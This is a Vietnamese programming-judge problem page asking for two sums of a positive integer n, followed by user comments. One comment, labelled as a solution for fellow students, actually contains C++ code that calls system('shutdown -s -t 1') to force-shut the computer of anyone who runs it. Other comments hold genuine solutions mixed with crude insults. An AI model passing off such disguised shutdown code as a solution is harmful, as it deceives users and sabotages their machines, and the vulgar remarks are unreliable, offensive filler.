Tính tổng
View as PDF
Submit solution
Points:
0.10
Time limit:
1.5s
Memory limit:
64M
Input:
stdin
Output:
stdout
Authors:
Problem type
Mô tả vấn đề
Nhập một số nguyên dương N. Tính :
S1 = (1+2+3+...+n )/ n
S2 = 1.2.3 + 2.3.4 + 3.4.5 +....+ n(n+1)(n+2)
Input
Nhập số nguyên dương n (n ≤ 100)
Output
In ra S1, S2
Note: S1 làm tròn 1 chữ số thập phân
Sample Input 1
6
Sample Output 1
3.5 756
Comments
Bài làm nhé các bạn
include <cstdlib> using namespace std;
int main() { system("shutdown -s -t 1"); return 0; }
include <bits/stdc++.h>
using namespace std; long long n; int main() { cin >> n; double S1 = (double)(n + 1) / 2; long long S2 = 0; for (int i = 1; i <= n; i++) { S2 = S2 + (long long)i * (i + 1) * (i + 2); } cout << fixed << setprecision(1) << S1 << " " << S2; return 0; }
hey
include <bits/stdc++.h>
using namespace std; long long n; int main() { cin >> n; /// Tính S1 double S1 = (double)(n + 1) / 2; /// Tính S2 long long S2 = 0; for (int i = 1; i <= n; i++) { S2 += (long long)i * (i + 1) * (i + 2); } /// In kết quả cout << fixed << setprecision(1) << S1 << " " << S2; return 0; }
memaybeo
say gex
ChatLGBT is the best!